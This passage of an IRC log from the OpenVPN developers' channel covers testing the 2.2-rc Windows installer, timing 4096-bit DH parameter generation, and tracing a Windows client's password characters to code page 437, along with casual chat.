work branch) ... and use git cherry-pick, to pick over all your commits from your troublesome branch 07:29 <@mattock> actually, it only gave whitespace errors 07:30 <@mattock> so no conflicts 07:30 <@dazo> ahh, perfect! 07:30 <@mattock> dazo: my work is beta2.2-based, fortunately :) 07:30 <@dazo> that makes things way easier :) 07:31 <@mattock> ok, upstream HEAD is now at c994385048a64adb3ec3e8f5f906c5f8668e1a71 07:31 <@dazo> goodie! 07:37 <@mattock> I fixed the README issue, so we're running low on bugs 07:37 <@mattock> dazo: what kind of testing should we do before release? 07:37 <@mattock> currently it's just smoke testing on winxp 32bit and win7 64bit 07:37 <@dazo> Smoketesting ... does the binaries work on a scratch install, and as a part of an upgrade 07:38 <@dazo> And simple connection testing ... can we get a connection and does data flow over the tunnel 07:38 <@mattock> I'll verify that upgrade from 2.2-beta5 and 2.1.4 works 07:39 < Dark-Fx> Both sides of the tunnel need to be 2.2-rc? 07:39 <@mattock> and recheck that it connects to the community vpn 07:39 <@mattock> dark-fx: nope 07:39 < Dark-Fx> I'm sitting at an xp x64 machine right now 07:39 <@dazo> The code itself, should be good ... I've been running 2.2-beta5 on CentOS5.5 and Gentoo (client and server) ... so I believe the code should be safe 07:39 <@mattock> dark-fx: winxp x64 would be a good test platform 07:39 <@dazo> Dark-Fx: good point ... that shouldn't be needed ... 2.2 is in fact a minor upgrade, feature wise, compared to 2.1 07:40 < Dark-Fx> point me at a binary and I'll throw it on here 07:40 <@mattock> dark-fx: thanks, I'll upload yet another preview in ~10 mins 07:40 <@dazo> 2.2 is the first major community oriented release ... with a good deal of community patches included, with mostly bugfixes and enhancement and a few new features 07:41 <+ecrist> I think my son is retarded 07:41 <@dazo> He doesn't seem to be interested in FreeBSD? 07:41 <@mattock> or worse yet, has an affection for Linux? :) 07:41 <@dazo> He wants to go the Ubuntu route instead? 07:42 <@mattock> dazo: even worse :) 07:42 <@dazo> heh 07:42 <@mattock> (running Ubuntu right now) 07:42 <+ecrist> -15F wind chill, no gloves, because he lost them (6th pair this year) because he took them off at recess and forgot where he put them. 07:42 * ecrist sends him to school, sans gloves 07:43 <+ecrist> no, the boy will not be a computer person, I think. He's more a physical-ability kid, doesn't take much interest in intellectual stuff, despite being smart. 07:43 <@dazo> ecrist: that can either be a sign of being retarded ... or sign of a genius personality :) 07:43 <+ecrist> he has aspirations for the Corp. 07:43 <@dazo> :) 07:52 < Dark-Fx> What sort of stuff should I be looking out for, just installer issues? or should I bounce my tunnel and change configs around? 07:53 <@dazo> Dark-Fx: basically ... does it work "out-of-the-box" with proper configs applied? ... does it seem to be stable and as rock solid as earlier versions has been 07:53 < Dark-Fx> As an upgrade or fresh install? 07:54 <@dazo> both cases are interesting, tbh 07:54 <@mattock> dark-fx: it's here: http://build.openvpn.net/downloads/releases/openvpn-2.2-rc-install-preview-3.exe 07:54 <@mattock> I'm mostly interested in installer/uninstaller stuff 07:54 < Dark-Fx> Okay. I don't have openvpn stuff on here yet, so it'll be fresh 07:54 <@mattock> however, if you got an OpenVPN server you could connect to 07:54 <@mattock> just noticed that $SMPROGRAMS (=Start Menu Programs folder) points to wrong place on Win7 07:55 <@mattock> that's the reason why start menu entries don't get deleted on that platform 07:55 <@mattock> that's in the NSI (Nullsoft Scriptable Installer) script for OpenVPN 07:55 <@mattock> I think the same bug exists in 2.2-beta5 (and each earlier version) 07:56 < Dark-Fx> I have several, most of them I could bounce if needed. I'm hesitant to upgrade them beyond what their distribution provides though 07:57 < Dark-Fx> ah, well I have to generate a new key and dh params for this machine to get it working on the tunnels 07:59 < Dark-Fx> so in other words, I'll be back in 2 hours or so :-P 08:02 <+ecrist> is that the atom machine? 08:02 < Dark-Fx> No 08:02 < Dark-Fx> Generating DH parameters, 4096 bit long safe prime, generator 2 08:02 < Dark-Fx> that's the problem 08:03 <+ecrist> what command line you using to generate that? 08:03 <@dazo> 4kbit DH prime ... wow ... I've never tried that 08:04 <@dazo> ecrist: openssl gendh 08:05 <+ecrist> dhparam, not gendh 08:05 <+ecrist> openssl dhparam -out ./test.pem 4096 08:05 < Dark-Fx> openssl dhparam -out certs/$1.dh4096.pem 4096 08:06 <+ecrist> too bad there isn't a way to multithread that process 08:06 <@dazo> ahh .. true, I forgot gendh -> dhparam 08:06 <+ecrist> you're confusing easy-rsa and openssl 08:06 <+ecrist> :) 08:07 < Dark-Fx> Yeah, openvpn/ssl-vulnkey are annoying because every time they activate on this tunnel, it warns me it couldn't open the 4096-bit file 08:08 <@dazo> ecrist: in the early days, it was gendh ... and then dhparam came ... but we're talking probably a decade or even longer ago :) 08:08 * ecrist gives dazo the 'old man' hat 08:09 <@dazo> lol 08:09 <@dazo> ecrist: Please don't tell me you were born in the 90's ;-) 08:09 < Dark-Fx> I don't really need that many bits, but I sign my keys for 10 years, so I'm trying to future proof them at least a little. 08:09 <+ecrist> no, 1979 08:10 <@mattock> upgrade from 2.2-beta5 worked nicely 08:10 <@mattock> ecrist: oh, you got your whole life ahead of you... I'm from '78 :P 08:10 <@dazo> ecrist: dang! 08:10 * dazo still deserves the 'old man' hat 08:10 <+ecrist> muahahaha 08:10 < Dark-Fx> 85 here.. 08:11 * ecrist gives 'kid gloves' to Dark-Fx 08:11 * Dark-Fx loses them on the playground 08:11 <+ecrist> touche 08:11 <+ecrist> that was quick 08:11 < Dark-Fx> I'm a fast learner 08:12 <+ecrist> it's good, if you're going to hang around in here, this can be rough crowd 08:12 <@dazo> heh 08:12 * dazo bites hard 08:13 <+ecrist> I'm running the dh generation on three different boxes I have to see how long they take for 4098-bit prime 08:13 <+ecrist> 4096* 08:14 < Dark-Fx> I have a faster box I could use for this, but my CA isn't set up on it and I prefer to not move that stuff around much 08:14 <@dazo> sounds wise 08:16 <+ecrist> one machine is a MBP Intel(R) Core(TM) i7 CPU M 620 @ 2.67GHz, the other two are bsd boxes, one with Intel(R) Xeon(R) CPU E5520 @ 2.27GHz and the other with Intel(R) Xeon(R) CPU E5530 @ 2.40GHz 08:17 < psha> ecrist: randomsound helps a bit in such sutiations 08:18 <+ecrist> o.O 08:18 < psha> surely it's not true hw rng but it has pretty good randomness 08:18 < psha> it's a small tool that feeds noise from audio channels into rng buffer 08:19 <+ecrist> I think I've run this little test before, but I don't recall the results. 08:19 <+ecrist> when it's done, I'll post to the wiki, I think, just for lols 08:19 <+ecrist> apparently, this operation has openvpn convinced it's not connected any more. 08:19 <+ecrist> yet here I am. 08:20 <+ecrist> should have pinned that process to the other cpu 08:20 < Dark-Fx> I had made a 131072 bit RSA key I stuffed in apache before 08:20 < Dark-Fx> it took a month and a half to generate 08:20 < Dark-Fx> key exchange process was about 4.5 minutes 08:21 < Dark-Fx> most browsers shit themselves 08:21 <+ecrist> lol 08:22 <@dazo> lol 08:22 <@dazo> That's what I call a brave moment of pushing limits! 08:25 <@dazo> It's an article about Eric Allman, creator of Sendmail on LWN ... from a talk he had on LCA recently ... summary from "lessons learnt from Sendmail" .... 08:25 <@dazo> * The KISS (keep it simple, stupid) principle works. 08:25 <@dazo> * If you don't know what you are doing, advance designs will not help. 08:25 <@dazo> * The world is messy, just plan on it. 08:25 <@dazo> * Flexibility trumps performance when the world changes every day. 08:25 <@dazo> * Fix things early; your installed base will only get larger if you succeed, and the pain of not fixing things will only get worse. 08:25 <@dazo> * Use plain text for internal files and protocols. 08:25 <@dazo> * Good documentation is the key to broad acceptance; most projects, he said, have not yet figured this out. 08:25 <@dazo> That's quite some good points ... and I love number 2) :) 08:26 <+ecrist> I like the last point. 08:27 <@dazo> yeah! That's my second one 08:27 <@dazo> second choice 08:27 <@dazo> "One member of the audience asked Eric which MTA he would recommend for new installations today. His possibly surprising answer was Postfix. He talked a lot with Postfix author Wietse Venema during its creation, and was impressed. Postfix is, he said, nice work, even if he doesn't agree with all of the design decisions that were made." 08:28 <+ecrist> postfix is pretty bad ass 08:28 < Dark-Fx> That's what I've been using 08:28 <+ecrist> I used to be one of those guys that would hand-edit my sendmail.cf, rand sendmail for ~10 years that way 08:29 <+ecrist> someone turned me on to postfix, I've never looked back. 08:29 <@dazo> I've been using Sendmail and Postfix ... and I generally find Postfix much more conveniently to manage ... Sendmail is a monster, but when you can tackle it, it is good too - but you must know what you do there 08:29 < Dark-Fx> I got into an argument with one of my profs in the middle of class because he said that there was a limit to what RSA keysizes could be, and I argued that the only limit is how long you want to wait for the key generation and the key exchange process to take 08:30 <+ecrist> and that's only relative to current technology 08:30 <@dazo> heh ... that makes very much sense to me :) 08:31 <+ecrist> fwiw, on the third CPU I listed, 4096-bit key took 16m 16s 08:31 < Dark-Fx> ecrist: right, quantum computing should be significantly faster 08:31 <+ecrist> on the second CPU listed, it took 11m 25s 08:32 <+ecrist> note, the first CPU also happens to be inside our primary production DB server (~100GB postgres) 08:32 <@dazo> Dark-Fx: in the next 20 years ... we will laugh about the "strong 8192bits encryption from the old days" 08:32 < Dark-Fx> mine's still going, but that machine is always pretty loaded 08:32 < Dark-Fx> dazo: yeah, precisely. 08:33 <+ecrist> the core i7 is still running, but I happen to be using that for lots of stuff right now 08:33 <@dazo> LOL!! "Shutting WikiLeaks down won't stop government secrets from leaking any more than shutting Napster down stopped illegal filesharing."-- Bruce Schneier ... 10 points from me :) 08:34 <@mattock> basic smoketests on winxp 32bit and win7 64bit passed 08:34 <@mattock> only remaining bug is the "does not uninstall start menu entries on win7" 08:34 <@mattock> I'll fix that tomorrow 08:34 <@dazo> mattock: smoketest == binary tests + connection to a server/being a server accepting clients? 08:34 <@mattock> there's an updated installer here: http://build.openvpn.net/downloads/releases/openvpn-2.2-rc-install-preview-4.exe 08:35 <@dazo> mattock: how are we with the manifest files? 08:35 <@mattock> dazo: installer/uninstaller tests + connectivity tests using the gui and service to community vpn (using password auth) 08:35 <@mattock> upgrade from 2.2-beta5 and clean install 08:35 <@dazo> okay, yeah thats a good test 08:36 <@mattock> I haven't touched the manifest files 08:36 <@dazo> for deciding if to release the RC or not :) 08:36 <@mattock> they could be embedded 08:36 <@dazo> I think we should get them embedded, tbh 08:37 < Dark-Fx> install/uninstall seemed to work on my end 08:37 <@mattock> dark-fx: ok, excellent! 08:37 < Dark-Fx> still waiting on these params 08:38 < Dark-Fx> so I didn't get to check connecting yet 08:38 <@mattock> dark-fx: let me know when you've run your connectivity tests... if it works, I feel a lot more comfortable publishing the installer :) 08:38 <@mattock> especially as WinXP 64-bit is not especially common platform 08:39 < Dark-Fx> actually, it left behind the msvcr90 stuff, probably because those stay loaded? 08:39 <+ecrist> http://www.secure-computing.net/wiki/index.php/OpenVPN#DH_Param_Notes 08:39 <@vpnHelper> Title: OpenVPN - Secure Computing Wiki (at www.secure-computing.net) 08:39 <@mattock> that's fixed already in the latest preview ^^^ 08:39 < Dark-Fx> ah, ok. 08:39 <@mattock> I noticed the same 08:39 <@mattock> a few other files are left lying around, too, but I didn't have time to rebuild the package... will do so tomorrow 08:39 <@mattock> nothing critical, though 08:40 <@mattock> e.g. openvpn-2.2-beta5 installer libssl32.dll, whereas in 2.2-rc it's called something else 08:41 <@mattock> I think we should try to always run the _old_ uninstaller before running the new installer 08:41 <+ecrist> dazo: am I missing something, or have there not been any commits to allmerged since Jan 17? 08:41 <@mattock> otherwise, the installer script will start collecting crap to support uninstalling old OpenVPN versions 08:43 <@dazo> ecrist: that might be the reality, not much has happened 08:43 <+ecrist> ok 08:43 <+ecrist> i know activity is low while we try to get 2.2 pushed out, just checking. 08:43 <@dazo> And the time I've had for OpenVPN since that time, has been more to get the 2.2 out 08:44 <@dazo> and there's not arrived much stuff 08:44 <+ecrist> after 2.2 is the plan to start ground work on 3.0? 08:44 <@dazo> it's 2.3, first ... to get IPv6 support 08:44 <@dazo> then 3.0 08:45 <+ecrist> ah, ok, that makes sense. 08:46 <+ecrist> ipv6 support is important. after our next big maintenance window at work the end of this month, we're getting all our gear on ipv6 08:47 <+ecrist> openvpn won't be a big deal, as we use bridged instead of routed, we hope 08:47 <@dazo> yeah, absolutely! 08:48 < Dark-Fx> my vpn that's bridged just passed RA as soon as the tunnel was up and the tunneled machine had ipv6 08:49 < Dark-Fx> not quite what I wanted to happen, but that's why firewalls exist 08:50 <@dazo> :) 08:51 < Dark-Fx> which reminds me, I need to set up those rules and get the vpn /64 RA up 08:51 <+ecrist> on my MBP, 37m 32s for a 4096-bit prime, while under heavy use 08:55 * ecrist wonders if mac tuntap.kext supports ipv6 09:56 -!- Hartimer [~peixoto@gw.identity.pt] has joined #openvpn-devel 09:56 < Hartimer> hi 09:57 <+ecrist> howdy 09:57 < Hartimer> since it was dazo that talked to me last time, i'll put the problem in context again 09:58 <@dazo> Hartimer: hi! how did your testing go? 09:58 < Hartimer> hey 09:58 < Hartimer> good and bad 09:58 < Hartimer> lol 09:58 <@dazo> even, in other words! ;-) 09:58 < Hartimer> i added the option "--locale" 09:58 < Hartimer> and it works like a charm 09:58 < Hartimer> but here is the catch 09:58 <@dazo> okay? 09:58 < Hartimer> works like a charm on linux, when i try to use it on a windows client 09:59 < Hartimer> doesn't work so well 09:59 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Remote host closed the connection] 09:59 <@dazo> ugh ... 09:59 <@dazo> well, I don't know how Windows tackles the locale stuff at all ... 09:59 < Hartimer> from my reading, windows version of setlocale does not support utf8 09:59 <@dazo> wow! welcome to the 21st century, Microsoft! 09:59 < Hartimer> i tried changing it to iso-8859-1 10:00 < Hartimer> server/client on linux still work like a charm 10:00 < Hartimer> windows client still sends strange data 10:00 <@dazo> hmm 10:00 < Hartimer> apparently microsoft's philosophy is to use unicode 10:00 <@dazo> Hartimer: what kind of build environment do you use for Windows binaries? 10:01 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 10:01 < Hartimer> mingw 10:01 < Hartimer> as suggested on openvpn's site 10:02 <@dazo> Yeah, we are (or in fact, mattock is) actually doing quite some work on a new build environment for Windows ... that's another story, but that will use the Visual Studio compiler 10:02 < Hartimer> build on windows is quite the nigthmare i must say :s 10:02 <@dazo> I'm really not sure how to tackle this .... I honestly thought that unicode was related to utf-8 10:03 < Hartimer> unicode is a superset of utf-8 i think 10:03 <@dazo> Hartimer: don't tell mattock .... we're about 8 weeks late with the 2.2-RC release candidate ... just because of Windows build ;-) 10:03 < Hartimer> lolol kk :) 10:05 < Hartimer> well, i'm getting desperate aswell :s 10:05 <@dazo> http://en.wikipedia.org/wiki/Unicode 10:05 <@vpnHelper> Title: Unicode - Wikipedia, the free encyclopedia (at en.wikipedia.org) 10:05 <@dazo> hmm ... here it says UTF-8 is a part of Unicode, basically 10:05 <@dazo> in fact, it should cover UTF-8, UTF-16 and UTF-32 10:06 < Hartimer> yep 10:06 < Hartimer> exactly 10:07 <@dazo> http://en.wikipedia.org/wiki/Comparison_of_Unicode_encodings#Compatibility_issues 10:07 <@vpnHelper> Title: Comparison of Unicode encodings - Wikipedia (at en.wikipedia.org) 10:08 * dazo throws a big Unicoded UTF-8 shark at Microsoft 10:08 < Hartimer> lolol 10:10 <@dazo> lol ... "UTF-9 and UTF-18, despite being theoretically functional encodings, were not intended for practical use, mostly because systems using 9-bit bytes were largely extinct by the time they were designed." 10:10 < Hartimer> hurrey 10:11 <@dazo> okay ... that's what the standards says about it .... Microsoft might have their own interpretation of Unicode then, somehow ... which wouldn't be unsurprising 10:11 < Hartimer> i checked _wsetlocale aswell, but it does not accept any of the encodings i pass 10:11 <@dazo> so basically setlocale() fails, that's the core issue 10:12 < Hartimer> setlocale works, with iso-8859-1 for instance 10:12 < Hartimer> but for some reason 10:12 < Hartimer> the chars passed to the server (linux) do not match 10:12 <@dazo> have you tried to dump the values you receive on the server? 10:12 < Hartimer> yes 10:12 < Hartimer> that's how i can tell 10:12 <@dazo> to see if we can figure out the coding 10:12 <@dazo> if that is possible 10:13 < Hartimer> i dump them before and after string_mod 10:13 < Hartimer> i'll give you an example 10:13 <@dazo> lol ... this is lovely! http://technet.microsoft.com/en-us/library/ee176965.aspx 10:13 < Hartimer> sec 10:13 <@vpnHelper> Title: Converting VBScript's SetLocale Function (at technet.microsoft.com) 10:14 < Hartimer> dazo, for instance, if i type 'ã' on windows client, the linux server recieves 'Æ' 10:14 < Hartimer> instead 10:14 <@dazo> whot ... that looks really odd ... esp. since both of these chars are defined explicit in 8859-1 10:15 < Dark-Fx> Hartimer: are you comparing actual bits sent/recieved, or how your client/terminal/environment interprets them? 10:15 <@dazo> yeah, dumping uint values (as hex, for convenience) is probably safer 10:15 < Hartimer> Dark-Fx, how the terminal interprets them 10:16 < Hartimer> gonna try that, it's safer indeed 10:16 < Hartimer> but still, the same chars sent from a linux client appear correctly on the server... using the same "terminal" 10:17 < Dark-Fx> I've battled with far too many different things in linux trying to get unicode support to not suck. 10:17 < Dark-Fx> so windows -> linux is different, and linux -> windows is the same? 10:17 <@dazo> linux->windows is not tried 10:17 < Hartimer> Dark-Fx, no 10:18 < Dark-Fx> This reminds me of \n \r\n :) 10:18 < Hartimer> windows -> linux is different, linux -> linux same 10:18 < Dark-Fx> Ok 10:18 <@dazo> Hartimer: there's no doubt Windows scrambles it ... but it's good to try to understand what kind of charset Windows tries to use 10:20 < Hartimer> dazo, i believe Portuguese_Portugal.1252 which is the windows code page for iso-8859-1 10:20 < Hartimer> but i'm not 100% sure 10:20 <@dazo> ahh, nope ... that's actually windows-1252 code page ... which is different from latin1 10:21 < Hartimer> really? 10:21 < Hartimer> :O 10:21 <@dazo> I told you, Microsoft love to interpret standards in their own way 10:21 <@dazo> that's the good thing about standards, everyone can have their own! 10:21 <@dazo> http://en.wikipedia.org/wiki/Windows-1252 10:21 <@vpnHelper> Title: Windows-1252 - Wikipedia, the free encyclopedia (at en.wikipedia.org) 10:22 < Hartimer> -.- awesome 10:24 <@dazo> ã == 00E3 in WIN-1252 .... which is the same as in iso-latin1 10:24 <@dazo> (8859-1() 10:24 <@dazo> ) 10:24 < Dark-Fx> dazo: and some times we lower our standards for others 10:25 <@dazo> Dark-Fx: unfortunately, yes 10:25 <@dazo> I am seriously wondering if we should do some iconv stuff on client and server ... where we pass UTF-8 over-the-wire, to be independent of client/server side disagreements 10:26 * ecrist thinks we should have an OpenVPNCon somewhere like canada 10:26 < Hartimer> it was one of the alternatives i saw... 10:26 * dazo votes for somewhere in Europe :) 10:26 <+ecrist> if you buy my ticket, I'm game. :) 10:26 <@dazo> heh :) 10:28 <@dazo> Hartimer: this one really turns out to be a harder nut than what I'd expect ... but I really feel we need to completely understand wtf windows is doing with these characters and setlocale() 10:28 < Hartimer> dazo, tell me about it 10:29 < Hartimer> i'm gonna print out the hex codes on both windows client and linux server 10:29 <@dazo> going the iconv() path is going to be just as painful, with even more work 10:29 < Hartimer> i would really like to avoid iconv :x 10:29 < Hartimer> it seems way more complex and time consuming 10:29 * ecrist hopes you stay away from iconv, that begets gettext, which *shudder& 10:30 <@dazo> ecrist: this is for having username/password and other data strings going in UTF-8 over the wire ... and only convert it to "something else" when passing the data to plug-ins/scripts etc 10:30 <@dazo> gettext() shouldn't really be a problem in that context 10:31 <+ecrist> right, but, unless we include the libraries themselves, and statically link them, iconv/gettext are horrible depends, imho 10:31 <@dazo> yeah, but that's not much more different than liblzo2, libssl, libcrypto (OpenSSL) and libpkcs11 dependencies we already have ... is it? 10:32 <+ecrist> at least with my experience with freebsd, it's drastically different. 10:32 < psha> include compiler, kernel and you'll get OpenVPN OS! :) 10:32 <+ecrist> gettext is a HUGE deal with freebsd ports system. 10:33 <+ecrist> everything in the world seems to depend on it, so if you upgrade something, that requires an upgrade to gettext, everything else ends up needing to be rebuilt. 10:33 <@dazo> gettext I would try to stay away from ... iconv seems to be less of a problem from my experience, but I've not played much in the *BSD fields 10:33 <+ecrist> which is why I suggest including them localy. 10:33 <+ecrist> iirc, iconv depends on getext 10:33 <@dazo> it's not the other way around? 10:34 <+ecrist> if it is, I'll shut up. lemme check 10:34 <@dazo> thx! 10:35 < psha> seems not 10:35 <+ecrist> I'm wrong 10:35 <@dazo> ldd `which iconv` 10:35 <@dazo> linux-vdso.so.1 => (0x00007ffff29ec000) 10:35 <@dazo> libc.so.6 => /lib64/libc.so.6 (0x0000003c85e00000) 10:35 <@dazo> /lib64/ld-linux-x86-64.so.2 (0x0000003c85600000) 10:35 <+ecrist> gettext depends on iconv, optionally 10:36 <@dazo> ahh, goodie! Then iconv is not that bad 10:36 < psha> not good, it's a part of glibc as i understand 10:36 <@dazo> psha: do you have to come and be such a party killer!?! ;-) 10:37 * psha hides behind the trees ;) 10:37 <@dazo> rpm -qf `which iconv` 10:37 <@dazo> glibc-common-2.12.90-21.x86_64 10:37 <@dazo> you're right 10:38 <+ecrist> iconv show no depends on freebsd 10:38 <@dazo> it's a separate package on freebsd? 10:38 <+ecrist> yes 10:39 < psha> http://www.freshports.org/converters/iconv/ 10:39 <@vpnHelper> Title: FreshPorts -- converters/iconv (at www.freshports.org) 10:39 < psha> this one? 10:39 <+ecrist> ports/converters/iconv 10:39 <+ecrist> aye 10:39 <@dazo> well, that makes sense, as FreeBSD don't use glibc 10:39 < psha> then separate check need - if they are compatible 10:41 <@dazo> how can I figure out where this iconv lib comes from? 10:41 <@dazo> (what's the upstream project?) 10:41 < Hartimer> guys a quick question (googled but not sure if found the answer). given a (char), to print the hex code one could do printf("%02X_",(int)mychar); 10:41 <@dazo> yeah, that should work 10:41 < psha> at a first glance prototypes in iconv.h looks same 10:42 < psha> Hartimer: yes 10:42 < psha> or %02x 10:42 < psha> for lower case chars 10:42 <@dazo> yeah, the big chars takes much more space .... 10:42 * dazo hides 10:44 < psha> sure, more zero bits in char - less weight and network traffic needed to transmit them 10:44 < psha> i hope openvpn have optimizations to transmits only non-zero bits? 10:45 <@dazo> lol 10:45 <@dazo> psha: I thought that was the purpose of liblzo2 :) 10:46 <@dazo> uptream libiconv is here: http://www.gnu.org/software/libiconv/ ... so I believe that's tightly connected to glibc then 10:46 <@vpnHelper> Title: libiconv - GNU Project - Free Software Foundation (FSF) (at www.gnu.org) 10:46 < psha> dazo: there is iconv.m4 somewher for checks 10:47 <@dazo> well, pulling down the tests/ directory from upstream libiconv ... should probably be able to convince us :) 10:47 <@dazo> http://git.savannah.gnu.org/cgit/libiconv.git/tree/tests 10:47 <@vpnHelper> Title: libiconv.git - (at git.savannah.gnu.org) 10:49 < psha> heh, iconv.m4 is a part of gettext :) 10:49 <@dazo> but adding iconv ... that's gonna add some more challenges for Windows build 10:49 <@dazo> psha: hah! 10:49 < psha> wow 10:49 < psha> may i post 4-line quote here? :) it's a gem! 10:50 <@dazo> you can try ... I think you get kicked out on 5 10:50 < psha> This means that the first time GNU libiconv is installed, we have a circular dependency between the GNU libiconv and GNU gettext packages, which can be resolved by building and installing either 10:50 < psha> first libiconv, then gettext, then libiconv again, 10:50 < psha> or (on systems supporting shared libraries, excluding AIX) 10:50 < psha> from libiconv home page... 10:50 < psha> first gettext, then libiconv, then gettext again. 10:50 < psha> not order of builds ;) 10:50 < psha> s/not/note 10:50 <@dazo> wtf!?!?!? 10:51 <@dazo> no wonder they wanted iconv into glibc 10:51 < psha> if you want localized messages in libiconv - you need gettext :) if you want gettext - you need iconv... 10:51 <@dazo> ahh, well, that makes more sense, kind of 10:52 < psha> but note that order of builds is opposite for static/dynamic linkage ;) 10:52 <@dazo> mm 10:54 < psha> libiconv looks very alive 10:54 <@dazo> it does 10:54 < Hartimer> so, i printed out the hex codes of the chars recieved.... i tried "çpó" 10:54 < psha> Hartimer: and what you've get? 10:55 < Hartimer> 'ç' and 'ó' actually have the same hex, even though the char printed on the terminal is different.... 'p' has two different hex codes when sent from a linux or windows client 10:55 <@dazo> if you could also print out the windows side as well (what openvpn receives, we know what it will send over the wire) ... just to cover that base as well 10:55 < Hartimer> Char _ : 6c (this is the 'ç') 10:55 < Hartimer> Char p : 5f (windows) Char p : ffffffe7 (linux) 10:55 < Hartimer> Char ¢ : 70 ( this is the 'ó') 10:56 < psha> utf32? 10:56 < Hartimer> its possible 10:56 < psha> at least ffffffe7 is 10:56 <@dazo> if not utf-16, which I believe we found out Windows likes 10:56 < psha> i guess you've messed with conversion 10:56 < psha> try (unsigned int) 10:56 <@dazo> yeah 10:56 < Hartimer> kk 10:56 < Hartimer> checkiung 10:56 < psha> proper value is 70 10:58 < psha> bbl 10:58 < Hartimer> same results 10:58 < Hartimer> using "printf("Char %c : %02x\n", (unsigned int)up->password[indx], up->password[indx++]);" for the printing 10:58 < Hartimer> :O 10:58 < Hartimer> i'm converting the wrong arg 10:58 < Hartimer> -.- 10:59 * Hartimer slaps himself 10:59 <@dazo> iso-latin1 - ç = e7 ... utf-8 = c3 a7 ... utf-16 = ff fe e7 00 11:03 * ecrist appreciates he configured irssi to display all the funkiness a couple years ago 11:04 <@dazo> :) 11:04 < Hartimer> dazo, the printing was not correct 11:04 <@dazo> Okay, that's good to know :) 11:06 < Hartimer> okay 11:06 < Hartimer> here are the results 11:06 < Hartimer> l = 6c and p = 70, whichever client i use 11:07 <@dazo> so that means, it receives what it is expected to receive? 11:07 < Hartimer> ç = ffffffe7 (linux client) | ç = ffffff87 (windows client). on windows the char printed out is not visually correct 11:07 < Hartimer> the normal chars yes, normal ones not 11:08 < Hartimer> ó = fffffff3 (linux client) | ó = ffffffa2 (windows client) 11:08 < Hartimer> once again the visual of che char from windows is not correct 11:08 <@dazo> and 87 is not even WIN-1252 11:10 <@dazo> $ cat | iconv -t IBM437 | hexdump -C 11:10 <@dazo> ç 11:10 <@dazo> 00000000 87 0a |..| 11:10 <@dazo> it's code page 437!! 11:10 < Hartimer> :O what? how? 11:11 <@dazo> I have no idea ... but I blame someone in Redmond 11:11 <@dazo> it matches ó and ç 11:47 -!- Hartimer [~peixoto@gw.identity.pt] has quit [Quit: Ex-Chat] 12:21 -!- dazo is now known as dazo_afk 12:27 -!- s7r [~s7r@74.3.165.161] has joined #openvpn-devel 12:28 * cron2 remarks that OpenVPNcon would be great, and that gettext is pain... 13:23 <@cron2> (of course, an OpenVPNcon would need a sponsor, and developers get free entry and flights paid...!) 13:37 -!- s7r [~s7r@74.3.165.161] has quit [Ping timeout: 250 seconds] 13:41 <+ecrist> and don't forget that leech ecrist 13:42 <+ecrist> ;) 14:15 < Essobi> hehehe 15:41 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 240 seconds] 15:58 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 16:28 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 16:30 <+ecrist> I just had one of the least likeliest phone calls I could imagine. 16:31 <+ecrist> I tracked down and called the parent company of one of the sites that's been getting spammed to my wiki. 16:32 <+ecrist> the gal, Kristin, yesterday, took my information, and I emailed her the logs. the owner of the company, in Australia, just called me and personally apologized. 16:32 * ecrist dumbfounded. 17:10 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 17:10 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:27 < Dark-Fx> ecrist: they're just looking for ways to avoid getting caught 17:27 < Dark-Fx> and you helped them out significantly :-P 17:27 <+ecrist> nice 17:27 <+ecrist> *shrug* 17:27 <+ecrist> "don't spam" is pretty easy advice to dole out 17:27 < Dark-Fx> heh 17:28 < Dark-Fx> suppose 17:29 < Dark-Fx> this wifi card seems to work a little bit better in 2.6.38-rc4 than it did in .32 17:30 < Dark-Fx> I think it's a different module 17:31 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 17:34 < Dark-Fx> ugh, I hate how powerful rrdtool is 17:34 < Dark-Fx> it makes it hard to use 17:40 <+ecrist> hehe 17:40 <+ecrist> cacti ftw 17:40 <+ecrist> though, that can be just as obtuse 17:43 < Dark-Fx> well, it uses rrdtool 17:44 < Dark-Fx> My problem with cacti si when something breaks. I basically have no idea how to fix it 17:44 <+ecrist> usually, when something breaks in cacti, it's the data collector 17:53 < Dark-Fx> and I don't really get why it has to use mysql 17:54 < Dark-Fx> It's not like it puts a billion records in sql 17:57 < Dark-Fx> I'm about ready to just > /dev/null all the nanog threads that ever mention IPv6 19:05 <+ecrist> nanog? 19:07 < Dark-Fx> North American Network Operators Group 19:08 < Dark-Fx> seems like 805 of my e-mail inbox in the past month has been from NANOG because of IPv4 running out 19:08 < Dark-Fx> 80% 19:10 < Dark-Fx> which reminds me, I need to consider setting up an archival system 19:10 < Dark-Fx> I have a disturbing amount of space dedicated to just my own e-mail :-/ 23:00 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel --- Day changed Thu Feb 10 2011 00:03 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Read error: No route to host] 00:04 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 00:07 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Client Quit] 00:08 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 01:04 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Remote host closed the connection] 02:24 -!- psha [~psha@213.208.162.69] has quit [Read error: Operation timed out] 02:27 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:27 <@mattock> dazo: the two month delay in 2.2-rc in _entirely_ (not largely) my achievement :P... although, I think James deserves some credit, too... didn't we ask him to provide the 2.2-rc installer ~1-2 months ago? ;) 02:28 <@mattock> anyways, regarding the uninstaller stuff I talked about yesterday... so, we have two options: 02:28 <@mattock> - try to support uninstalling old OpenVPN versions using the (new) OpenVPN installer/uninstaller 02:28 <@mattock> - enforce/try to enforce running the old version's uninstaller before running the new installer 02:29 <@mattock> the second option would make the installer/uninstaller a neat an clean package, which should always (=most of the time) work with few issues 02:30 <@mattock> the first option will eventually fill the installer script with extra code to support 